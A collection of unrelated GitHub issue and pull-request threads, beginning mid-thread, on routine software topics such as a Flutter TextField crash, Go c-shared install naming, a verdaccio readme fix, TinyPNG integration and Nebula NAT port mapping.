Thanks for the contribution, but rather than using Travis CI, I've configured TeamCity to report its build status via the Commit Status Publisher plugin which is now available in version 10.
I may revisit this in future, but TeamCity is what I prefer to use for the moment.


Provide a Helm Chart

Helm chart with an optional development postgres DB included.

is somebody working on it? Can i help? You want to push it in this repo or maybe somewhere else?

Hey @pkalemba thanks for the offer, we'd gladly accept the help yes.
No one is currently working on this afaik.


Fix broken swipe distance when item width < recyclerView's width

This time I'm fixing a broken swipe animation that happens when using a grid layout instead of a linear layout. The details are in the comment I left in the code.
Thanks~
PS : Sorry for the fragmented PR's, but I'm discovering issues step by step, as I'm extending my use of FastAdapter to create new features.

This still seems to have some strange behavior
device-2020-11-26-132303.mp4.zip

That can be explained :

Immobile items : You might not remember it, but SwipeListActivity and SwipeDrawerListActivity showcase the ability to set the "swipable" property individually. Hence line 92 of SwipeDrawerListActivity that says

swipeableItem.withIsSwipeable(i % 5 != 0)

that's why item 16 is blocked (16 being the 15th item in a 0-indexed list)

Weird button display when swiping right : That's due to the fact that the layout constraints defined in swipeable_drawer_item.xml haven't been designed with half the screen width in mind :

On the left side, the Archive and Share buttons have each a fixed width of 80dp
On the right side, the Delete button has a fixed width of 80dp

As a consequence, when the item only takes up half the screen width, the two buttons on the left and the button on the right overlap, which creates what you've seen. This is a layout issue that has nothing to do with the fix suggested in this PR.
I think the fix will be easier to check if you set .withSwipeRight(80) on line 112 of SwipeDrawerListActivity, which should allow to swipe right to the width of the Archive button only 😄

Thanks for mentioning these things again, but the main problem I actually see is, that I can't drag back to dismiss. it seems to not take the action. It works though with full width beautifully.
Can you also please try that one if it works for you fully?

You're right, when using a two-column grid view, it takes multiple swipes to dismiss the view. I'm gonna investigate this.

That's done ! There were two other issues I solved in today's batch.
PS : Not sure about how to solve the merge conflict myself...

Looks good :D thank you so much for the fixes

Looks good :D thank you so much for the fixes
Neat !!

I'm gonna do some research on the differ and the loading system, as I'm facing crashes on certain devices (~4% of my users). Stay tuned for more discussions / PRs...

@RobbWatershed thanks a ton.


Explain how to launch on codespace

And how to make port public

Moved to https://github.com/users/ilesinge/projects/4


Add rake task to dump postgresql schema

This rake task should help with analyzing the database.
No more running integration tests and putting in a sleep statement or breakpoint, finding the right director database (the names are all hashes) and finally figuring out credentials just to look at the current schema SQL.
Instead this task creates a database director_latest_tmp, runs migrations and dumps the schema to STDOUT and the file https://github.com/manno/bosh/tree/performance-integration-test.
The resulting database is missing test data of course, so for running EXPLAIN ANALYZE we  might still want to mess with integration test databases.

Tracker story: https://www.pivotaltracker.com/story/show/144061967

Thanks for the contribution!
We have merged this locally, with some additional changes - we added very simple unit tests and removed the schema namespace. We also added another rake task which outputs the table descriptions for a human-readable way to see the current tables/columns.


SMAI-face-dection.py

Hey there! I´ve got an prob.
Where can I find the  SMAI-face-dection.py? You said it is necessery to have these file to detect the face, but I can´t find it. Am I doing sthing wrong?
Thx 4 help :)
Toby

Hi thetobyde,
The MMM-Face-Recognition-SMAI.py has now been added to the Git Repo. The readme has been updated on where to copy it too. If you have any issues I would suggest trying out the already compiled Raspberry Pi Face Rec Image on smartbuilds.io, this would give a good idea on how the module works.
If you like the module, feel free to contribute and add more to it.
Thanks,
Eben.

@EbenKouao ok Perfect. I would like to add some More, but cant find who the.py script starts. How is it started?


Dev

new high res facsimiles
minor fixes (xml:id)
added odd and rng

ARCHE RDF Schema finished


smps.plots.heatmap error

Describe the bug
UFuncTypeError when using smps.plots.heatmap example
To Reproduce
Steps to reproduce the behavior:

import "Boston" example
copy example code for Boston example to produce heatmap
Receive error shown below

Expected behavior
Produces error:
"Cannot cast ufunc 'greater_equal' input 0 from dtype('<m8[ns]') to dtype('<m8') with casting rule 'same_kind'"
heatmap plot will not display.

Screenshots
heatmaperror.pdf
Desktop (please complete the following information):

OS: [ macOS Monterey]
Browser [Chrom]
Version [104.0.5112.79]

Additional context
Add any other context about the problem here.

Hi @Ethan-Barber can you answer a couple more questions?

What chip does your mac use? Intel or M1/M2?
What version of the package are you using? You can get this either by checking smps.__version__ or pip list

Hi @dhhagan

My processor is: 2.3 GHz Dual-Core Intel Core i5
I am using version "smps v2.0.0"

Interesting. I can't seem to replicate the issue on my machine. Can you run pip list and post the results? I'm most interested in the version of matplotlib you're using, as it seems like that may be causing an issue. I've also just released version 2.1.0a0 which updates the required dependencies to allow for usage on M1 and M2 macs. It may be worth installing that and giving it a shot.

Here are the results:
pip_list_results.txt
I tried installing the 2.1.0a0 update but am receiving an error when doing so.

Update @dhhagan
You were correct. I updated my version of matplotlib to 3.5.3 and it works now.
Thank you so much for your help. :)


--loglevel behaviour changed?

-l WARN should display WARN or worse. But it is now displaying only the results that are WARNs, and omitting the FAILs
@simoncozens, this may have been a bug introduced at #4447

I already have a fix for this, will PR soon.

thanks!

Fixed in #4453.


No displayings at all

Dear Dr Breddels,
I am a PhD student in astrophysics in Portugal.
I really appreciated your YouTube demo on Ipyvolume, however, my jupyter
notebooks never displays anything. (see attached)
I tried to enable threejs with the command: jupyter nbextension enable
--sys-prefix --py pythreejs
I also tried : jupyter nbextension enable --py --sys-prefix ipyvolume
$ jupyter nbextension enable --py --sys-prefix widgetsnbextension
But it does not help at all...
I work with the ubuntu shell of windows and Xming to display jupyter
webpages. It works perfectly with matplotlib.
I have installed ipyvolume with : conda install ipyvolume
I am using anaconda in a python 3.6.7 environment.
Other informations: jupyter_client 5.3.3                   py36_1
conda-forge
Could you help me please?
I really want to use your ipyvolume software in my PhD research and I am
totally clueless right now on why jupyter refuses to display anything.
Yours sincerely,
Thibault BOULET
PhD student

Hi Thibault,
could it be that the environment where you ran  jupyter nbextension enable --py --sys-prefix ipyvolume is not the same as where you run the notebook server from? (e.g. notebook from root env, but ipyvolume/kernel is a different environment.
cheers,
Maarten

Hi maarten,
The problem came from the fact that the firefox version on the ubuntu application for windows is deprecated.
I installed anaconda for windows and everything works.
I updated the firefox version on the ubuntu application, however, it is infinitely slow and never pop-up a page for some reason... I will try to figure this out for Ubuntu.
A last it works on Windows =)
cheers,
Thibault


Feat new titleconvo

also revert the modification of askBingAI.js.
add an animation to the start topic button

Uploading QQ20230408-001226.mp4…


TextField longpress throw Exception caught by rendering library

logs
════════ Exception caught by rendering library ═════════════════════════════════════════════════════
The following assertion was thrown during performLayout():
'package:flutter/src/rendering/box.dart': Failed assertion: line 1692 pos 18: 'debugDoingThisResize || debugDoingThisLayout ||
                 (RenderObject.debugActiveLayout == parent && _size._canBeUsedByParent)': is not true.

Either the assertion indicates an error in the framework itself, or we should provide substantially more information in this error message to help you determine and fix the underlying cause.
In either case, please report this assertion by filing a bug on GitHub:
  https://github.com/flutter/flutter/issues/new?template=BUG.md

Widget creation tracking is currently disabled. Enabling it enables improved error messages. It can be enabled by passing `--track-widget-creation` to `flutter run` or `flutter test`.
When the exception was thrown, this was the stack:
#2      RenderBox.size.<anonymous closure> (package:flutter/src/rendering/box.dart:1692:18)
#3      RenderBox.size (package:flutter/src/rendering/box.dart:1698:6)
#4      RenderFractionalTranslation.applyPaintTransform (package:flutter/src/rendering/proxy_box.dart:2466:24)
#5      RenderObject.getTransformTo (package:flutter/src/rendering/object.dart:2274:24)
#6      RenderBox.globalToLocal (package:flutter/src/rendering/box.dart:2236:31)
...

Receiver: null
Tried calling: toDouble()

My textField code
TextField(
                        readOnly: chat.isBlockedByYou,
                        onTap: onInputTap,
                        textInputAction: TextInputAction.send,
                        onSubmitted: handleSummit,
                        focusNode: _focusNode,
                        keyboardAppearance: Brightness.light,
                        keyboardType: TextInputType.text,
                        controller: _textEditingController,
                        minLines: 1,
                        maxLines: 3,
                        maxLength: 500,
                        autofocus: false,
                        enableInteractiveSelection: true,
                        style: TextStyle(
                          color: AppThemeColorConfig.titleColor,
                          fontSize: screenInst.setSp(28),
                        ),
                        decoration: InputDecoration(
                          counterText: "",
                          suffixIcon: GestureDetector(
                            onTap: () {
                              if (_isSendDisabled) return;
                              handleSummit(_textEditingController.text);
                            },
                            child: Column(
                              mainAxisAlignment: MainAxisAlignment.center,
                              children: <Widget>[
                                // Text('emoji'),
                                Container(
                                  width: screenInst.setWidth(88),
                                  height: screenInst.setWidth(66),
                                  child: Image.asset(
                                    'lib/assets/icon/icon_send${_isSendDisabled ? '_disabled' : ''}.png',
                                    width: screenInst.setWidth(44),
                                    height: screenInst.setWidth(44),
                                    package: 'flutter_im_plugin',
                                  ),
                                )
                              ],
                            ),
                          ),
                          fillColor: AppThemeColorConfig.white,
                          contentPadding: EdgeInsets.fromLTRB(
                              screenInst.setWidth(32),
                              screenInst.setWidth(16),
                              screenInst.setWidth(32),
                              screenInst.setWidth(16)),
                          hintText: StickerI18nDict.sendMessageText(),
                          filled: true,
                          hintStyle: TextStyle(
                            fontSize: screenInst.setSp(28),
                            color: AppThemeColorConfig.graySubTitleColor,
                          ),
                          border: OutlineInputBorder(
                            borderSide: BorderSide.none,
                            borderRadius: BorderRadius.all(
                              Radius.circular(20.0),
                            ),
                          ),
                        ),
                        onChanged: (String value) {
                          print('textfield on change $value');
                        },
                      )

longpress the longpress menu not show
[✓] Flutter (Channel stable, v1.9.1+hotfix.6, on Mac OS X 10.15.2 19C57, locale zh-Hans-CN)

[✓] Android toolchain - develop for Android devices (Android SDK version 28.0.3)
[✓] Xcode - develop for iOS and macOS (Xcode 11.1)
[✓] Android Studio (version 3.5)
[✓] VS Code (version 1.41.1)
[✓] Connected device (2 available)

Hi @doerme
I don't see any GestureDetector handling onLongpress ,
regardless you might want to move your onLongPress outside the TextField
sample
does this solve your issue?
thank you

+1 to what @iapicca said.
I tried to simplify this to something that can run, but I couldn't reproduce the problem.  Here's the simplified code:
import 'package:flutter/material.dart';

void main() => runApp(MyApp());

class MyApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'Flutter Demo',
      theme: ThemeData(
        primarySwatch: Colors.blue,
      ),
      home: Scaffold(
        body: Center(
          child: TextField(
            readOnly: false,//chat.isBlockedByYou,
                        //onTap: onInputTap,
                        textInputAction: TextInputAction.send,
                        //onSubmitted: handleSummit,
                        //focusNode: _focusNode,
                        keyboardAppearance: Brightness.light,
                        keyboardType: TextInputType.text,
                        //controller: _textEditingController,
                        minLines: 1,
                        maxLines: 3,
                        maxLength: 500,
                        autofocus: false,
                        enableInteractiveSelection: true,
                        style: TextStyle(
                          //color: AppThemeColorConfig.titleColor,
                          //fontSize: screenInst.setSp(28),
                        ),
                        decoration: InputDecoration(
                          counterText: "",
                          suffixIcon: GestureDetector(
                            onTap: () {
                              //if (_isSendDisabled) return;
                              //handleSummit(_textEditingController.text);
                            },
                            child: Column(
                              mainAxisAlignment: MainAxisAlignment.center,
                              children: <Widget>[
                                // Text('emoji'),
                                Container(
                                  //width: screenInst.setWidth(88),
                                  //height: screenInst.setWidth(66),
                                    /*
                                  child: Image.asset(
                                    'lib/assets/icon/icon_send.png',
                                    //width: screenInst.setWidth(44),
                                    //height: screenInst.setWidth(44),
                                    package: 'flutter_im_plugin',
                                  ),
                                  */
                                )
                              ],
                            ),
                          ),
                          //fillColor: AppThemeColorConfig.white,
                          /*
                          contentPadding: EdgeInsets.fromLTRB(
                              screenInst.setWidth(32),
                              screenInst.setWidth(16),
                              screenInst.setWidth(32),
                              screenInst.setWidth(16)),
                              */
                          //hintText: StickerI18nDict.sendMessageText(),
                          filled: true,
                          hintStyle: TextStyle(
                            //fontSize: screenInst.setSp(28),
                            //color: AppThemeColorConfig.graySubTitleColor,
                          ),
                          border: OutlineInputBorder(
                            borderSide: BorderSide.none,
                            borderRadius: BorderRadius.all(
                              Radius.circular(20.0),
                            ),
                          ),
                        ),
                        onChanged: (String value) {
                          print('textfield on change $value');
                        },
                      ),
        ),
      ),
    );
  }
}

Without additional information, we are unfortunately not sure how to resolve this issue. We are therefore reluctantly going to close this bug for now. Please don't hesitate to comment on the bug if you have any more information for us; we will reopen it right away!
Thanks for your contribution.
Could everyone who still has this problem please file a new issue with the exact descriptions what happens, logs and the output of 'flutter doctor -v'  please.
All system setups can be slightly different so it's always better to open new issues and reference related issues.


Doesn't work. Error message: CorePaneCommand not defined

I am getting this error message upon startup:
Plugin 'ArrowNavigation' failed to load.
Traceback (most recent call last):
File "/Users/raguay/Library/Application Support/fman/Plugins/ArrowNavigation/arrownavigation/init.py", line 4, in
class OpenDirectory(CorePaneCommand):
NameError: name 'CorePaneCommand' is not defined

Fixed - thanks Richard.


cmd/go: installed c-shared libraries receiving ".a" suffix on Linux

What version of Go are you using (go version)?
go version go1.9.4 linux/amd64
Does this issue reproduce with the latest release?
Yes. Reproduced with 1.10
What operating system and processor architecture are you using (go env)?
GOARCH="amd64"
GOEXE=""
GOHOSTARCH="amd64"
GOHOSTOS="linux"
GOOS="linux"
GORACE=""
GOROOT="/usr/local/go"
GOTOOLDIR="/usr/local/go/pkg/tool/linux_amd64"
GCCGO="gccgo"
CC="gcc"
GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build706877829=/tmp/go-build -gno-record-gcc-switches"
CXX="g++"
CGO_ENABLED="1"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"

What did you do?
go install -buildmode=c-shared -x -a ./libpa
libpa contains a a C library declared in a main package.
What did you expect to see?
I expected the output file to be labeled libpa.so indicating it was a shared object
What did you see instead?
The output was labeled libpa.a indicating an archive file, but in actuality it was a shared object file.
file $GOPATH//pkg/linux_amd64_shared/<pkg dir>/libpa.a
libpa.a: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=31934079c8d80546780a304c28421f0d8228c9a4, not stripped

Additional Information

go build -buildmode=c-shared -o libpa.so -x -a ./libpa produces the expected libpa.so output. This is how .so files are generated in cshared_test.go.
go install  -buildmode=c-archive -x -a ./libpa produces an archive file correctly named libpa.a
init.go leaves the cfg.ExeSuffix empty for Linux machines when the c-shared option is selected (sets it to ".a" for c-archive).
Passing GOEXE=".so" does not appear to overwrite the cfg.ExeSuffix.

/cc @ianlancetaylor

Note that it doesn't make a great deal of sense to use go install -buildmode=c-shared.  The expectation is that people will use go build -buildmode=c-shared -o foo.so.  The only point of using -buildmode=c-shared is to use the shared library somewhere, and using go install without -o will put the shared library in a relatively unpredictable place.
I'm fine with changing the default installation name but I don't see that it will make any difference in practical use.

@ianlancetaylor Is it really unpredictable? The installation path makes sense to me. My use case is https://github.com/google/fscrypt, of which I maintain the Debian package. If I run go install -buildmode=c-shared ./pam_fscrypt, the shared library gets installed as ~/go/pkg/linux_amd64_shared/github.com/google/fscrypt/pam_fscrypt.a. This is not its final destination of course, but it's good enough for me: the packaging scripts will then take care of the rest.
The fact that the library is named .a and not .so is not really a problem, but it is a bit confusing and feels "wrong". I think the default should be changed.
I could use go build as you suggest, but I'd had to handle it as a special case, and it is not currently supported by the Debian Go packaging tools.

I want to make clear that the go tool does not in any way promise that the path you mention is the one that will be used by future releases.  It is already the case that that path is not the one used on every platform.  I suppose that that is what I mean by "unpredictable."


leaving the bike loading while fetching

Pull Request Test Coverage Report for Build<PHONE_NUMBER>2
Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 100.0%

Totals

Change from base Build<PHONE_NUMBER>3:
0.0%

Covered Lines:
4

Relevant Lines:
4

💛  - Coveralls


Add files via upload

I made the following properties available as low-level calls:
'd2gammadtau2_pT','d2gammadpi2_pT','d2gammadtautau2_pT','d2gammadpipi2_pT','d2gammadpitau2_pT',...
'w1_pT','w2_pT','u1_pT','u2_pT','cv1_pT','cv2_pT',...
'gamma1_pT','gamma2_pT','s1_pT','s2_pT','phi3_rhoT'
The updated region 2 dimensionless Gibbs derivatives (d2gammad...) return the ideal and residual derivatives separately - I'd like to discuss if this is actually necessary as IAPWS IF97 Table 13 leads me to believe some of these calls are redundant.
w1_pT & w2_pT return the region 1 & 2 sonic velocities. I have an outside function that computes a retarded 2 phase/equilibrium sonic velocity that uses the same approximation as FLUENT, but that property (2-phase speed of sound) is not supported by the IAPWS - let me know if you are interested in that as well.
u1 & u2 return the region 1 & 2 internal energy.
cv1 & cv2 return the region 1 & 2 isochoric heat capacity.
gamma1 & gamma2 return the region 1 & region 2 dimensionless Gibbs energy.
s1 & s2 return the region 1 & region 2 entropy.
phi3_pT returns the region 3 dimensionless Helmholtz energy. I stopped here because I realized I very rarely use region 3 properties in my own work.

Hi @peterfranciscook ,
Are you interested in maintaining this project? I'm not using MATLAB anymore, in fact, I'm not even doing thermo.
I think if you fork this repo and then submit it up to the Mathworks File Exchange (FEX), you can link it to your GitHub repo so that new versions are automatically released on FEX.
Also if you say in your FEX submission, that it was inspired by the older IAPWS97 then people will see that link and you can also say yours is a new fork, that the old version is no longer maintained, and that you are taking over.
Thanks!


TinyPNG integration

This might be a bit too soon, but wanted to check if it's a good idea to integrate external services too. Let's say you don't have the necessary optimizers installed on the system, but you can still have the option to add your api key and let TinyPNG/TinyJPG optimize the images.
I'm currently using their developer api in a CMS image optimization module I wrote, but would love to swap the custom code out by your library so I can also support the other system optimizers if there are any on the system, and I believe many others would benefit from TinyPNG too.
With TinyPNG you get 500 images for free which is plenty for most of my use cases (and other users) + They do a really good job on compression (and can even crop/resize and do area-of-interest detection but that's not the goal of this package).

TinyPNG & TinyJPG
Developer API -> gets you an API token based on email address.
This composer package might be useful to wrap the methods and integrate it: https://packagist.org/packages/tinify/tinify

Thanks for your suggestion. My aim for this package is that it requires zero setup (apart from the installation of some binaries) and is hassle free.
External services are a bit more complicated to work with:

they need to be setup (API key is needed)
they could cause significant slowdowns (image big images being uploaded over a slow connection to the service)
the external service may be down

So I'm going to hold of including such optimizers by default for now.
What you could do is create a separate package that handles optimization with TinyPng. It could contain a class that implements Spatie\ImageOptimizer\Optimizer.  More info on that here: https://github.com/spatie/image-optimizer#writing-a-custom-optimizers
If you do that, I would probably reference your package in the readme of this one.

Closing this for now, but if you have any questions or remarks, feel free to reopen.

Ok thanks! I'll try making a custom optimizer library when I start the rewrite of my CMS module. I really like their compression rate, and although being a lossy compression, the compression not visible.
There's the aspect of dealing with the API key, the limit of 500 images for a free account, and service possibly being down but depends on the project if you can afford having that. If down, I can even fall back on the system optimizers 🤔
E.g. the image from the readme (547kB)
The image after TinyJPG (238.5 KB, -56%)

That's a pretty good result.
It would be really awesome if that driver would just work in the current setup of this package (aka that it can be run from the command line).
Looking forward to your work on this.

Would indeed be a nice module for our Fork CMS.

Hi, I know this is an older issue but I just wanted to bring up that TinyPNG uses pngquant as its main optimization library, which this already has


Both Balance and Trades commands are not working

Starting...
[384391041] Haru: /trades
2017-08-21 03:24:37,322 (util.py:64 WorkerThread2) ERROR - TeleBot: "IOError occurred, args=(2, 'No such file or directory')
Traceback (most recent call last):                                                                                File "C:\Python27\lib\site-packages\telebot\util.py", line 58, in run
    task(*args, **kwargs)
  File "pologrambot.py", line 103, in trades
    infile = open('trades', 'r')
IOError: [Errno 2] No such file or directory: 'trades'
"
Traceback (most recent call last):
  File "pologrambot.py", line 135, in <module>
    bot.polling(none_stop=True)
  File "C:\Python27\lib\site-packages\telebot\__init__.py", line 264, in polling
    self.__threaded_polling(none_stop, interval, timeout)
  File "C:\Python27\lib\site-packages\telebot\__init__.py", line 288, in __threaded_polling
    self.worker_pool.raise_exceptions()
  File "C:\Python27\lib\site-packages\telebot\util.py", line 107, in raise_exceptions
    six.reraise(self.exc_info[0], self.exc_info[1], self.exc_info[2])
  File "C:\Python27\lib\site-packages\telebot\util.py", line 58, in run
    task(*args, **kwargs)
  File "pologrambot.py", line 103, in trades
    infile = open('trades', 'r')
IOError: [Errno 2] No such file or directory: 'trades'

Seems like there's something wrong, should a file or directory called trades or balance be created?

Sorry, I'll fix it today. What you have to solve it is to create a file called trades. touch trades. Thanks!


Replace "$ref"

Planned:
To enable/facilitate the validation of an individual json against the used json-schema, we'll replace all "$ref" references:
   ...
   "linkToOtherSchema": {
      "description": "Link to another entity of type OtherSchema.",
      "$ref": "https://raw.githubusercontent.com/HumanBrainProject/openMINDS/master/v3.0/definitions.json#definitions/OTHER_SCHEMA"
   },
   ...

with the following:
   ...
   "linkToOtherSchema": {
      "type": "object",
      "description": "Link to another entity of type OtherSchema.",
      "$linkedType": "https://openminds.ebrains.eu/core/OtherSchema"
   },
   ...

This is based on a discussion and decision I made with @olinux .
This change will also lead to the point that we are not gonna maintain a definitions.json anymore.
The example for arrays will follow soon. @olinux : this should look a bit different correct? using the array/items/oneOff keys?

Fixed and merged with #94


[WIP] Add dependency bundles

Description

Add dependency bundles
Update README and index

Codecov Report

Merging #259 (61f29cb) into main (ede0fea) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main     #259   +/-   ##
=======================================
  Coverage   83.17%   83.17%
=======================================
  Files          29       29
  Lines        3774     3774
=======================================
  Hits         3139     3139
  Misses        635      635

I hope this will fix tests and docs, but we should probably set up a github action for testing "base" dependencies. As of now, the package might not be importable unless we do preliz[full]


Integrate PCP and NAT-PMP

I can't find evidence this is in wide use, but worth supporting these, as it may help folks behind NAT.

I have created a PR on this, you can try testing it https://github.com/slackhq/nebula/pull/579
I am running a test setup with it and works fine with miniupnpd on the gateway.
Config needed:
punchy:
  port_mappings.pcp:
    enabled: true

For what it's worth, my Xfinity-provided home router:

Has a 'port restricted cone' NAT, i.e. sending a UDP packet to a given IP and port only allows responses from that specific IP and port.  Thus UDP hole punching is not possible.
Does not support PCP or NAT-PMP, as far as I can tell.
Does support UPnP IGD.

So there are common setups where hole punching does not work but automated port forwarding does work (though not specifically PCP or NAT-PMP).  I can make do with manual port forwarding, but it would be nice if Nebula 'just worked' in this situation.


Local pull request success status testing

Docs Build status updates of commit 38e8782:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

E2E_DocsBranch_Dynamic/index.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching in the Docs contributor and Admin GuideSee the frequently asked questionsPost your question in the Docs support channel


added a fix for npmjs now returns readme in version instead of global…

… metadata readme key

Type:
The following has been addressed in the PR:

There is a related issue?
Unit or Functional tests are included in the PR

Description:

I just checked the code. I'll test it later with real data.

Hi @juanpicado
As an example of dist-tags i've took a dist-tasg list from verdaccio package.
I've just added "next","dev" and "canary" tags in this list.
Please note it will take the readme of the first found tag's version readme.

It seems to be fix https://github.com/npm/registry/issues/305

Hi @juanpicado .
I've added some minor changes according to your review.
Could you please take a look?

@aremishevsky I'll do it after work :) Thanks for your changes.  Please read this https://github.com/verdaccio/verdaccio/pull/677#issuecomment-387176345

@juanpicado
I've changed the last commit.
However I can't change previous commits using rebase command. Not sure that I will not revert some of your changes.
If it's critical to have all commits with "feat: xxx" in messages - i can re-commit my changes in a new forked repo. If not - you can just merge it.
Just let me know

I just noticed. Just above your code, there is a function called cleanUpReadme https://github.com/verdaccio/verdaccio/blob/master/src/lib/storage-utils.js#L66 which remove all readme from versions.
So, the result is gonna be always undefined.

So, I think
// In case of empty readme - trying to get ANY readme in the following order: 'next','beta','alpha','test','dev','canary'
  const readmeDistTagsPriority = [
    'next',
    'beta',
    'alpha',
    'test',
    'dev',
    'canary'];
  readmeDistTagsPriority.map(function(tag) {
    if(readme) {
      return readme;
    }
    const data = distTags[tag] ? versions[distTags[tag]] || {} : {};
    readme = _.trim(data.readme || readme);
  });

is a bit unecessary with the current approach, with local-storage we cannot afford save readme for each version otherwhise metadata will grow exponenxially, that's the main reason why is being removed.
About your commit would be something like this `"feat: return latest dis-tag readme whether readme is emtpy"
But you must remove the iteration, sorry I did not noticed that earlier.

Some lint is failing
/home/ubuntu/verdaccio/src/lib/storage-utils.js
  80:3  error  Expected space(s) after "if"  keyword-spacing
  92:5  error  Expected space(s) after "if"  keyword-spacing

Hi @juanpicado
I've re-created a PR with a new single commit with a normal message: https://github.com/verdaccio/verdaccio/pull/687
As for iteration and cleanUpReadme calling - If you take a look closer - I've moved readme set before calling cleanup function - so it should be fine and it is needed.

As for lint errors - i've fixed them in new PR. Thanks for an advise.
Please review this PR: https://github.com/verdaccio/verdaccio/pull/687

Hi @juanpicado .
Did you have a chance to take a look on https://github.com/verdaccio/verdaccio/pull/687 PR?
Thanks

@aremishevsky give me some days, I'm un a hurry to finish Google Cloud plugin (before expiring my trial) and next week is the We Are Developers at Vienna 😓 ... I'll try to do it as soon as possible.

Thanks, done :) thanks for your patient I'll merge #687 and close this one.

@juanpicado Thanks for review.
Could you please let me know once it would be published with a some next release version on npmjs?

Just after my dinner 🍽 😉

https://github.com/verdaccio/verdaccio/releases/tag/v3.0.0-beta.10


Added new section: compilers

I added some useful links for the new section Compilers

Thank you @m4zzu ! 🎉 👍

No problem @vicky002, just few links...


Rename environment variables

Currently, we have a few environment variables that are used with CLI.
Example: CLIMICROSOFT365_AADAPPID. Since we're moving everything from AAD to Entra, let's do this with our environment vars as well.
Example: let's rename CLIMICROSOFT365_AADAPPID to CLIMICROSOFT365_ENTRAAPPID.

[ ] Let's find all CLI environment variables with AAD and rename them
[ ] Make sure the old environment variables are still working
[ ] Replace all old environment variables in the docs with their new name

Can I work on this?

This is a breaking change and we won't be able to ship it until v8 later this year.


Add validation to psptBinding creation

Problem:
When creating a psptBinding a template id is required but not validated
so an invalid value does not return to the user and causes the
controller to keep trying to create resources
Solution:
Validate the template ID belongs to a real template before creating the
binding
https://github.com/rancher/rancher/issues/22556

lgtm


small typo

Hello, @nightscape! Thank you for your interest in contributing to the scala.meta project. Please sign the CLA, so that we can proceed with reviewing your pull request.

Thanks for signing! This pull request no longer merges, but I manually applied it to my fork, so it'll end up in here soon.


Arraylist

Description
Single Dimensional
Multi dimensional array list
Domain
Java_Domain
Type of Contribution
Documentation
Code of Conduct

[X] I follow Contributing Guidelines & Code of conduct of this project.

/assign

/assign

/assign


Enable Unicode characters in subtitles

Allows the usage of non-ANSI characters in subtitles, as long as the font used supports them. Requires AviSynth+.

Didn't know it was so simple!


Add PV roles to klusterlet on managed clusters

On managed clusters, we create the PV ManifestWork bundle, which in turn is processed by the klusterlet. The klusterlet thus requires additional roles (like the VRG roles that we add) to be able to apply the PVs to the cluster.

Resolved by #114


Bump MSRV to 1.54.0

Drivers:

clap 3 only supports 1.54 and up.
Const generics MVP
Arrays implement IntoIterator
Or patterns
Many standard library stabilizations

It might be worth noting that this is ahead of Debian Bullseye's version of Rust (1.48). I left out improvements that could be made with this new Rust version to keep this PR simple.

The fixed clippy lints are new in version 1.58 so I fixed them here so they won't appear in other PR's.

Let's release a version before merging this...
On Sat, Jan 15, 2022, 04:21 Terts Diepraam @.***> wrote:

Drivers:

clap 3 only supports 1.54 and up.
Const generics MVP
Arrays implement IntoIterator
Or patterns
Many standard library stabilizations

It might be worth noting that this is ahead of Debian Bullseye's version
of Rust (1.48). I left out improvements that could be made with this new
Rust version to keep this PR simple.
You can view, comment on, or merge this pull request online at:
https://github.com/uutils/coreutils/pull/2869
Commit Summary

783170c
https://github.com/uutils/coreutils/pull/2869/commits/783170c9d8b79bb241f6ed8cce32e177e8ffc0b6
change msrv to 1.54

File Changes
(3 files https://github.com/uutils/coreutils/pull/2869/files)

M .github/workflows/CICD.yml
https://github.com/uutils/coreutils/pull/2869/files#diff-fdc42f85e64d73f2d88830f87cfb3c6f32c93a440ed1aaaf6bfbcb8648fb9def
(2)
M Cargo.lock
https://github.com/uutils/coreutils/pull/2869/files#diff-13ee4b2252c9e516a0547f2891aa2105c3ca71c6d7a1e682c69be97998dfc87e
(51)
M README.md
https://github.com/uutils/coreutils/pull/2869/files#diff-b335630551682c19a781afebcf4d07bf978fb1f8ac04c6bf87428ed5106870f5
(2)

Patch Links:

https://github.com/uutils/coreutils/pull/2869.patch
https://github.com/uutils/coreutils/pull/2869.diff

—
Reply to this email directly, view it on GitHub
https://github.com/uutils/coreutils/pull/2869, or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAATSBD7ZEAJ4DVDFRPQBR3UWFDBHANCNFSM5MA2KDXQ
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>

Good idea!
Le 15/01/2022 à 15:34, Roy Ivy III a écrit :

Let's release a version before merging this...

Sylvestre

Message ID: @.***>

Yeah, that's a good idea

Tag done:
https://github.com/uutils/coreutils/releases/tag/0.0.9


We should keep AppCatalogEntries for all apps that are in use

User story

As a user I want to be able to retrieve details about the app version in use, based on the AppCatalogEntry.
As a user I want to view the entire app release history in the web UI.

Details
In the web UI we offer details for every app installed in a workload cluster. Example:

Here, in the dropdown labelled as INSPECT VERSIONS, we display details from the AppCatalogEntry resource, for the currently installed version as well as for other available versions.
UX problem
In the case of an app version being installed that has no according AppCatalogEntry, this information is missing. Example:

Also by navigating into the Apps section, a user can no longer find any details about the installed version 1.16.1. The user also cannot find out which releases existed since the installed one and the latest one, and according an upgrade to the lastest v1 minor is not possible.
Solution

Provide AppCatalogEntry resources at least for all app versions installed.
Fetch app release history from a different source again?

@gianfranco-l This appears to be quite severe to me. I'd be happy if honeybadger could take a look.

A couple of things we talked about / I have in mind off the bat:

Knowing if something can be cleaned up or not needs to know of / have a look at all the App CRs.

Reading all the App CRs can be very resource intensive
It came up we could use caching, I think the problem with this could be that the App CRs are split to multiple app operators
It came up we could maybe use finalizers.

